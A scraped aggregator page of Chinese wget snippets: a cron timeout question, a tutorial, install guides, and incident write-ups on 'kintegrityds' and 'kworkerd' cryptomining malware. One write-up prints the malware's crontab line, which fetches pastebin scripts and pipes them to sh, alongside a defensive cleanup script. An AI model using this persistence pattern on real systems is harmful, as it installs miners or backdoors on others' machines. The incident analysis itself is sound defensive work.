wget

wget connection timed out on same server

只愿长相守 提交于 2020-01-25 22:00:11
问题 I've got a very strange problem. There's a cron job on the server to run a script daily: wget -O /dev/null --timeout=300 --tries=1 "http://website.com/script" It was all working well since about two weeks ago, I started receiving errors: --2016-07-13 09:45:01-- http://website.com/script Resolving website.com (website.com)... 11.22.33.44 Connecting to website.com (website.com)|11.22.33.44|:80... failed: Connection timed out. Giving up. These are some information for this question: The cron job

wget

耗尽温柔 提交于 2020-01-25 15:14:26
wget是一个下载文件的工具,它用在命令行下。对于Linux用户是必不可少的工具,我们经常要下载一些软件或从远程服务器恢复备份到本地服务器。 wget支持HTTP,HTTPS和FTP协议,可以使用HTTP代理。所谓的自动下载是指,wget可以在用户退出系统的之后在后台执行。这意味这你可以登录系统,启动一个wget下载任务,然后退出系统,wget将在后台执行直到任务完成 wget 可以跟踪HTML页面上的链接依次下载来创建远程服务器的本地版本,完全重建原始站点的目录结构。这又常被称作”递归下载”。 wget 非常稳定,它在带宽很窄的情况下和不稳定网络中有很强的适应性.如果是由于网络的原因下载失败,wget会不断的尝试,直到整个文件下载完毕。如果是服务器打断下载过程,它会再次联到服务器上从停止的地方继续下载。这对从那些限定了链接时间的服务器上下载大文件非常有用。 语法格式: wget(选项)(参数) 常见参数 - a < 日志文件 > :在指定的日志文件中记录资料的执行过程; - A < 后缀名 > :指定要下载文件的后缀名,多个后缀名之间使用逗号进行分隔; - b:进行后台的方式运行wget; - B < 连接地址 > :设置参考的连接地址的基地地址; - c:继续执行上次终端的任务; - C < 标志 > :设置服务器数据块功能标志on为激活,off为关闭,默认值为on; - d

记一次生产主机中挖矿病毒\"kintegrityds\"处理过程!

时光毁灭记忆、已成空白 提交于 2020-01-23 20:44:03
【记一次生产挖矿病毒处理过程】: 可能性:webaap用户密码泄露、Jenkins/redis弱口令等。 1、监控到生产主机一直load告警 2、进服务器 top查看进程,发现挖矿病毒进程,此进程持续消耗cpu,kill掉还会自动启动。 PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND 10059 webapp 20 0 43612 9504 0 S 241.0 0.1 5:49.77 /tmp/kintegrityds 3、查看crontab -l */10 * * * * (curl -fsSL https://pastebin.com/raw/wDBa7jCQ||wget -q -O- https://pastebin.com/raw/wDBa7jCQ)|sh 4、分析定时任务: 浏览器打开:https://pastebin.com/raw/wDBa7jCQ 得到: (curl -fsSL https://pastebin.com/raw/CBEphEbb||wget -q -O- https://pastebin.com/raw/CBEphEbb)|sed 's/\r//'|sh xshell执行: [webapp@vm_0_17_centos ~]$ (curl -fsSL https://pastebin.com

Kworkerd恶意挖矿分析

試著忘記壹切 提交于 2020-01-23 20:35:39
转自:https://www.360zhijia.com/anquan/417114.html 0x01 快速特征排查 TOP显示CPU占用高,但是没有高占用的进程 存在与未知服务器13531端口建立的TCP连接 文件/etc/ld.so.preload中指向了/usr/local/lib/libntp.so 存在可疑执行base64编码的python进程 0x02 快速清除 #!/bin/bash ps aux | grep "I2NvZGluZzogdXRmLTg" | grep - v grep | awk '{print $2}' | xargs kill - 9 echo "" > /etc/ cron . d / root echo "" > /etc/ cron . d / system echo "" > / var/ spool / cron / root echo "" > / var/ spool / cron / crontabs / root rm - rf / etc / cron . hourly / oanacron rm - rf / etc / cron . daily / oanacron rm - rf / etc / cron . monthly / oanacron rm - rf / bin / httpdns sed - i ' $d

Crawl website using wget and limit total number of crawled links

佐手、 提交于 2020-01-23 11:14:27
问题 I want to learn more about crawlers by playing around with the wget tool. I'm interested in crawling my department's website, and finding the first 100 links on that site. So far, the command below is what I have. How do I limit the crawler to stop after 100 links? wget -r -o output.txt -l 0 -t 1 --spider -w 5 -A html -e robots=on "http://www.example.com" 回答1: You can't. wget doesn't support this so if you want something like this, you would have to write a tool yourself. You could fetch the

X Chen笔记----一键安装搭建 LNMP 环境教程

会有一股神秘感。 提交于 2020-01-22 16:56:48
1.安装依赖 #CentOS yum install wget screen -y #Debian/Ubuntu apt-get install wget screen 2. 安装LNMP环境 screen -S lnmp 如果我们在搭建过程中断开了与服务器的连接,那么在重新连接服务器后,可以使用下列命令继续未完成的搭建过程:screen -R lnmp wget http://soft.vpser.net/lnmp/lnmp1.6.tar.gz -cO lnmp1.6.tar.gz && tar zxf lnmp1.6.tar.gz && cd lnmp1.6 && ./install.sh 运营以上命令后就会开始安装,安装过程中需要进行一些选择,具体看下图 安装时间较长,根据服务器配置的不同所需时间也不一样,耐心等待直至”Install lnmp v1.6 completed! enjoy it“字样的出现。 3. 常用命令可通过键入inmp查看 inmp 转自: https://www.banwagongzw.com/110.html 来源: CSDN 作者: chenxin2tj 链接: https://blog.csdn.net/chenxin2tj/article/details/104070524

Ubuntu安装Windows官方版QQ和微信(使用deepin wine)

微笑、不失礼 提交于 2020-01-22 13:48:27
打开终端: wget -O- https://deepin-wine.i-m.dev/setup.sh | sh 然后按照提示安装wechat搞定 sudo apt-get install deepin.com.wechat 版本还是比较新的,这下比网页版微信方便多了。(发帖时Windows上的微信最新是2.8.0版) 同样安装QQ只需要一条命令: sudo apt-get install deepin.com.qq.im 来源: https://www.cnblogs.com/gamesun/p/12228299.html

wget, self-signed certs and a custom HTTPS server

自古美人都是妖i 提交于 2020-01-22 09:33:28
问题 For various reasons I have created a simple HTTP server, and added SSL support via OpenSSL. I'm using self-signed certificates. IE, Firefox and Chrome happily load content as long as I add the CA to the trusted root CAs. However, wget (even when using the --no-check-certificate flag) reports: OpenSSL: error:14094410:SSL routines:SSL3_READ_BYTES:sslv3 alert handshake failure If I run the OpenSSL client against my server using: openssl s_client -connect dnvista:82 -debug I get back: verify

centos7.5误删python2.7之后,导致yum和Python命令无法使用

↘锁芯ラ 提交于 2020-01-22 06:04:37
问题描述 最近想要将服务器上的Python2.7升级成3.x的版本时。使用了如下命令: (1)强制删除已安装python及其关联 # rpm -qa|grep python|xargs rpm -ev --allmatches --nodeps (2)删除残余文件 # whereis python|xargs rm -frv 执行命令后导致服务器上的yum命令和python命令都无法使用。出现以下报错: [root@test ~]# python -V -bash: /usr/bin/python: No such file or directory [root@test ~]# yum -bash: /usr/bin/yum: No such file or directory 解决方案 1.创建目录用来存放 rpm 包: mkdir /usr/local/src/python 查看系统版本: lsb_release -a 查看位数 getconf LONG_BIT 2. 进入目录,使用wget分别下载python以及yum的rpm包 http://vault.centos.org/ 这个地址可以下载不同版本系统对应的包( 注意:一定要和系统的版本号对应 ) 可以看到我们的系统版本是7.5.1804,这里下载以下文件 wget http://vault.centos.org/7

LAMP环境搭建

橙三吉。 提交于 2020-01-22 01:29:37
一、LAMP简介 LAM(M)P: L: linux A: apache (httpd) M: mysql, mariadb M:memcached P: php, perl, python WEB资源类型: 静态资源:原始形式与响应内容一致,在客户端浏览器执行 动态资源:原始形式通常为程序文件,需要在服务器端执行之后,将执行结果返回给客户端 Web相关语言: 客户端技术: html,javascript 服务器端技术:php, jsp,python,asp CGI:Common Gateway Interface 通用网关接口;可以让一个客户端,从网页浏览器通过http服务器向执行在网络服务器上的程序传输数据;CGI描述了客户端和服务器程序之间传输的一种标准 二、PHP 1、php简介 php:通用服务器端脚本编程语言,主要用于web开发实现动态web页面,也是最早实现将脚本嵌入HTML源码文档中的服务器端脚本语言之一。同时,php还提供了一个命令行接口,因此其也可以在大多数系统上作为一个独立的shell来使用 Zend Engine:PHP脚本语言的解释器,它最早是由以色列理工学院(Technion)的学生Andi Gutmans和Zeev Suraski所开发,Zend也正是此二人名字的合称。后来两人联合创立了Zend Technologies公司。Zend